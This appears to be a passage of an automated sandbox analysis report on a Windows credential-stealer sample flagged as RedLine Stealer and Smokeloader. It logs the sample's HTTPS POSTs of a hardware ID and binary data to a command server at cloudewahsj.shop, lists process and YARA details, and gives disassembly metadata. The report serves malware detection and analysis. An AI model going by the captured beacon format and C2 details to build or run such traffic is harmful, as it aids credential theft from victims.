2025-01-04 14:33:12 UTC	12812	OUT	Data Raw: 2d 2d 39 49 35 42 39 4b 4c 5a 34 47 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 31 45 34 41 37 39 36 32 45 39 31 38 45 37 30 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 0d 0a 2d 2d 39 49 35 42 39 4b 4c 5a 34 47 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 49 35 42 39 4b 4c 5a 34 47 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 68 35 56 66 48 2d 2d 0d 0a 2d 2d 39 49 35 42 39 4b 4c 5a 34 47 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --9I5B9KLZ4GYContent-Disposition: form-data; name="hwid"F1E4A7962E918E70822D1F4978021086--9I5B9KLZ4GYContent-Disposition: form-data; name="pid"2--9I5B9KLZ4GYContent-Disposition: form-data; name="lid"4h5VfH----9I5B9KLZ4GYContent-D
2025-01-04 14:33:13 UTC	1122	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 14:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a3datobogf6u9kgtid0eru5efu; expires=Wed, 30 Apr 2025 08:19:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=upTeY9n6XzWGQCygQ5rwSd9s1DpqjMdCa3Jhf1bang2tIVNPRcS23vKE6IY%2BMtVpNiaQCj0KPlpYfaadRvzPFrqcAKzcS0%2Fh5kzw46m03a6iw5jqoKlIQqSBlPc42bfN0Wz7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fcbf13fb9dec443-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1578&min_rtt=1567&rtt_var=610&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2835&recv_bytes=13745&delivery_rate=1762220&cwnd=244&unsent_bytes=0&cid=1b778618e69c025a&ts=594&x=0"
2025-01-04 14:33:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-04 14:33:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49737	104.21.80.1	443	1808	C:\Users\user\Desktop\m4lz5aeAiN.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-04 14:33:14 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1GQESCL4764K8FHEA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15094 Host: cloudewahsj.shop
2025-01-04 14:33:14 UTC	15094	OUT	Data Raw: 2d 2d 31 47 51 45 53 43 4c 34 37 36 34 4b 38 46 48 45 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 31 45 34 41 37 39 36 32 45 39 31 38 45 37 30 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 0d 0a 2d 2d 31 47 51 45 53 43 4c 34 37 36 34 4b 38 46 48 45 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 47 51 45 53 43 4c 34 37 36 34 4b 38 46 48 45 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 68 35 56 66 48 2d 2d 0d 0a 2d 2d 31 47 51 45 Data Ascii: --1GQESCL4764K8FHEAContent-Disposition: form-data; name="hwid"F1E4A7962E918E70822D1F4978021086--1GQESCL4764K8FHEAContent-Disposition: form-data; name="pid"2--1GQESCL4764K8FHEAContent-Disposition: form-data; name="lid"4h5VfH----1GQE
2025-01-04 14:33:14 UTC	1124	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 14:33:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=efjleo17huac0o8j800p629m0h; expires=Wed, 30 Apr 2025 08:19:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BDQ9vluTsbl3tBMx6DmZPQvxarftj3F9zSifXmLeh9m77%2BlRDhsWp9oBaNtocSsvg7sf21AvwNdTY5bGWYFrbLfuttWgVmQzij319kRQOgDBE3oYmMLF3uXMRzi0V5uq%2BzHN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fcbf1495c257d0e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1982&min_rtt=1976&rtt_var=754&sent=9&recv=21&lost=0&retrans=0&sent_bytes=2836&recv_bytes=16033&delivery_rate=1437715&cwnd=244&unsent_bytes=0&cid=f62102503399f811&ts=501&x=0"
2025-01-04 14:33:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-04 14:33:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49746	104.21.80.1	443	1808	C:\Users\user\Desktop\m4lz5aeAiN.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-04 14:33:15 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EAPTR00XOYJN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19922 Host: cloudewahsj.shop
2025-01-04 14:33:15 UTC	15331	OUT	Data Raw: 2d 2d 45 41 50 54 52 30 30 58 4f 59 4a 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 31 45 34 41 37 39 36 32 45 39 31 38 45 37 30 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 0d 0a 2d 2d 45 41 50 54 52 30 30 58 4f 59 4a 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 45 41 50 54 52 30 30 58 4f 59 4a 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 68 35 56 66 48 2d 2d 0d 0a 2d 2d 45 41 50 54 52 30 30 58 4f 59 4a 4e 0d 0a 43 6f 6e 74 65 Data Ascii: --EAPTR00XOYJNContent-Disposition: form-data; name="hwid"F1E4A7962E918E70822D1F4978021086--EAPTR00XOYJNContent-Disposition: form-data; name="pid"3--EAPTR00XOYJNContent-Disposition: form-data; name="lid"4h5VfH----EAPTR00XOYJNConte
2025-01-04 14:33:15 UTC	4591	OUT	Data Raw: 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?2+?2+?o?Mp5p_oI
2025-01-04 14:33:16 UTC	1127	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 14:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=on54t05ugcphsetdhg0isnhcrd; expires=Wed, 30 Apr 2025 08:19:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bb59LIs2nXQ5oq%2FjhXC8fW6On9N5jos6lEkra96JJeK6PAde%2BpmftOexZiVNWXlygrudQyvnJollTmyFvPVPWRwsZQMJItSZCuI7zvaHD7I88CnEzT9RFrausM%2FMAUMYAXBL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fcbf150dc080f36-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1448&min_rtt=1441&rtt_var=554&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2836&recv_bytes=20878&delivery_rate=1949265&cwnd=231&unsent_bytes=0&cid=360057909f3ffdc5&ts=639&x=0"
2025-01-04 14:33:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-04 14:33:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:33:08
Start date:	04/01/2025
Path:	C:\Users\user\Desktop\m4lz5aeAiN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\m4lz5aeAiN.exe"
Imagebase:	0x400000
File size:	322'048 bytes
MD5 hash:	AF551D70D63B4251EDCAAC0CDCF9485E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2334487456.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2334614463.0000000000802000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:33:17
Start date:	04/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1808 -s 1756
Imagebase:	0xd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	21.5%
Signature Coverage:	48.9%
Total number of Nodes:	135
Total number of Limit Nodes:	11

Executed Functions

Function 0043D0D0 Relevance: 32.5, APIs: 11, Strings: 7, Instructions: 957
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(80838290,00000000,00000001,?,00000000), ref: 0043D572
SysAllocString.OLEAUT32 ref: 0043D608
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043D646
SysAllocString.OLEAUT32 ref: 0043D6A8
SysAllocString.OLEAUT32 ref: 0043D765
VariantInit.OLEAUT32(?), ref: 0043D7D6
SysFreeString.OLEAUT32(00000000), ref: 0043DB5D
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043DB95

Strings

yv, xrefs: 0043D813
CfF, xrefs: 0043D600
tu, xrefs: 0043D5AC
fF, xrefs: 0043D5D0
{pqv, xrefs: 0043D120
[J, xrefs: 0043D21D
[B, xrefs: 0043D225

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: String$Alloc$BlanketCreateFreeInformationInitInstanceProxyVariantVolume
String ID: fF$CfF$[B$[J$tu$yv${pqv
API String ID: 505850577-1972840126
Opcode ID: 0933b6900e20eb3ffd80477a97ad3530cb39ed5c2e1d64840ee4302b7984fe47
Instruction ID: dd13a90e2492ac68040bcad17eea3e7c9d23fbfdc89757e028f71a1dea91b727
Opcode Fuzzy Hash: 0933b6900e20eb3ffd80477a97ad3530cb39ed5c2e1d64840ee4302b7984fe47
Instruction Fuzzy Hash: 94621372A183108FE314CF68D88576BBBE1EFD5314F198A2DE4D58B390D7799809CB86

Function 00421B30 Relevance: 10.5, Strings: 8, Instructions: 527
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,, xrefs: 00422090
0, xrefs: 00421DF2
v, xrefs: 00422159
q, xrefs: 00422169
(\{, xrefs: 00421BEE, 00422040, 00422290
6, xrefs: 00421E02
!@, xrefs: 00421B6A
p, xrefs: 00422161

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: AllocateHeap
String ID: !@$(\{$,$0$6$p$q$v
API String ID: 1279760036-1114845817
Opcode ID: 68ded5a1127ff787cf997603004e9156167bbfc9199ee1ec6ad3b0f1b8bf95cb
Instruction ID: 8656d014051cfeae6f38fc6e5bc27d53fcdcc23dc9b32e8d9396b3c6709607b7
Opcode Fuzzy Hash: 68ded5a1127ff787cf997603004e9156167bbfc9199ee1ec6ad3b0f1b8bf95cb
Instruction Fuzzy Hash: 0122DD7170C790CFD3248B28D58036BBBE1BB95324F558A2EE5E9873D1D7B988418B4B

Function 00408A60 Relevance: 7.7, APIs: 5, Instructions: 216
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408A84
GetCurrentThreadId.KERNEL32 ref: 00408A8E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408B76
GetForegroundWindow.USER32 ref: 00408B8B
ExitProcess.KERNEL32 ref: 00408D07

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: ba99a32a84df6074fc1a326d170a01607909a1aa19cc5cd935f515b9d2d4cca7
Instruction ID: 695b1043c619777a8863990e744e8888075fa37916c6100b3e536846f602c71f
Opcode Fuzzy Hash: ba99a32a84df6074fc1a326d170a01607909a1aa19cc5cd935f515b9d2d4cca7
Instruction Fuzzy Hash: E3616873B143140BD318AE799C1635AB6D39BC5314F0F863EA995EB7D1ED7888068389

Function 0040C080 Relevance: 6.4, Strings: 5, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

FwPq, xrefs: 0040C0B9
Js, xrefs: 0040C0C1
'!, xrefs: 0040C119
50, xrefs: 0040C1AD
DM_e, xrefs: 0040C083

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: 50$DM_e$FwPq$Js$'!
API String ID: 0-1711485358
Opcode ID: c4c1f8e28e835abe653d42ead9130a3bdb40cd1f355abcf11e9a7fb6b3c4c5b3
Instruction ID: a29f9b67a002a0f45ebf0d2c5d73cf8b9506a9b5be0e3ba76b97c1ae1caaee17
Opcode Fuzzy Hash: c4c1f8e28e835abe653d42ead9130a3bdb40cd1f355abcf11e9a7fb6b3c4c5b3
Instruction Fuzzy Hash: C751DAB45493808FE334CF21C991B8BBBB1BBA1304F609A0CE6D95B654CB759446CF97

Function 00418BA2 Relevance: 5.4, Strings: 4, Instructions: 367
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PWPQ, xrefs: 00418BC7
bd\,, xrefs: 00418BB1
oQ, xrefs: 00418BD2
fnga, xrefs: 00418BBC

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: PWPQ$bd\,$fnga$oQ
API String ID: 0-3706350231
Opcode ID: fe0c42c07420c9bbc5d61f49a80fd29d9882301a9105f023342265155b572c4c
Instruction ID: e34152e6636813154928bb160b9fd2834c9c91dba41fdab838839377217cf8bd
Opcode Fuzzy Hash: fe0c42c07420c9bbc5d61f49a80fd29d9882301a9105f023342265155b572c4c
Instruction Fuzzy Hash: 1CC126766083408FD7258F24C8557AB77E6EFC6314F08892EE8998B391EF388841C787

Function 00422370 Relevance: 4.2, Strings: 3, Instructions: 457
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

anold~m`, xrefs: 004224DA
-jkhanold~m`, xrefs: 004224CE
d~m`, xrefs: 004224B5

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: -jkhanold~m`$anold~m`$d~m`
API String ID: 0-185452761
Opcode ID: d49d82f6dee0b69ccdeb9ac9c72559ba4ec1d23df509649ca449329d3e76b77d
Instruction ID: c4d8edb6bc4b196318c262ba746bf01715a487006edf2819d48878c0ea44a364
Opcode Fuzzy Hash: d49d82f6dee0b69ccdeb9ac9c72559ba4ec1d23df509649ca449329d3e76b77d
Instruction Fuzzy Hash: C8D1BBB06083509FD710DF68D892B6BBBE0FF85318F54491DE8958B392E7B8D809CB56

Function 005D07A6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 005D07CE
Module32First.KERNEL32(00000000,00000224), ref: 005D07EE

Memory Dump Source

Source File: 00000000.00000002.2334487456.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 8f7057d182d52e5d8d17b52e5d7d48d6a25eedb29cc32fc9efc818b3a6e7ca75
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 72F062315017116BD7303AB9988DBAF7AE8FF49765F10152BE642D51C0DA70F8454A61

Function 00415D89 Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbee84ecd3790633f2c83826065bd30b531f242f0a5518141b0bd449406d4866
Instruction ID: fe71d1bcebcc68b075db47888e1e2cba677fa4d5c187ad294acff22be9a80e62
Opcode Fuzzy Hash: dbee84ecd3790633f2c83826065bd30b531f242f0a5518141b0bd449406d4866
Instruction Fuzzy Hash: 1B51B9B16086428FC714CF58C4917ABF7E2ABD5304F18892EE4EA87342E739DD45CB86

Function 00442080 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0044523A,00000002,00000018,?,?,00000018,?,?,?), ref: 004420AE

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0040D172 Relevance: 1.4, Strings: 1, Instructions: 132COMMON

Download Yara Rule

Strings

301V, xrefs: 0040D2D5

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: 301V
API String ID: 0-2749669040
Opcode ID: 833df5a93a9dfcddf4f429d08c48422bb21d6f1f0a3d624069caf29e04340d04
Instruction ID: baf02472d42b1fd34baef0eca44314001f1f1136a433d7a2becac9f4216ef3dd
Opcode Fuzzy Hash: 833df5a93a9dfcddf4f429d08c48422bb21d6f1f0a3d624069caf29e04340d04
Instruction Fuzzy Hash: 6741BE742483118BD714DF54C8A4B6BB7F1FFC5308F08892DE4865B395E7B99608DB8A

Function 00441B50 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c5a90b9fb371d52f131ad3a9995dc80354c686060061162c2bdec51d185e8da
Instruction ID: 01036c0abe53894f00a23a0b33865d1644de07ddd8768e0b6d49d0c725de61cd
Opcode Fuzzy Hash: 4c5a90b9fb371d52f131ad3a9995dc80354c686060061162c2bdec51d185e8da
Instruction Fuzzy Hash: 0F4100BA4583028BD314CF51D89035BFAE3ABC5308F19CA2DE4C95B344DAB9C5098B96

Function 00441816 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 136ff0709e28839b269720e4fb839b7b46befae130c92130e2f97ddf8959a9d5
Instruction ID: d294dc39abdefed7299eeb113bd94dd65164e84cb7974bfe8d228d73c8c27ee3
Opcode Fuzzy Hash: 136ff0709e28839b269720e4fb839b7b46befae130c92130e2f97ddf8959a9d5
Instruction Fuzzy Hash: 1911D0792593018BD308CF55DC9136BFBE3ABC6348F19C92DE18557355CAB8C106CB5A

Function 0213003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0213024D

Strings

cess, xrefs: 0213018D
kernel32.dll, xrefs: 0213008F, 02130095

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 4d62c31e7b113053c7fec1a81403a43082a4b2b429e0d1c2d19d79fb67bed87b
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 9F527975A01229DFDB65CF58C984BACBBB1BF09304F1580E9E94DAB351DB30AA85CF14

Function 004423C5 Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 004423C5
GetForegroundWindow.USER32 ref: 004423E0

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: ea1af17a4c87661e7e22aa3b412247517447923eaeb0832990aa116f906f78b1
Instruction ID: 3f5cde6939bccaa2b971e6e0c262a6c41a2af89a1d69f81b939c4d59ebd80ce7
Opcode Fuzzy Hash: ea1af17a4c87661e7e22aa3b412247517447923eaeb0832990aa116f906f78b1
Instruction Fuzzy Hash: D3D0A7BDD114104BB2559720BC0E45F36119B9B20A304443CE4070121BEA35118E868E

Function 02130E0F Relevance: 3.0, APIs: 2, Instructions: 15
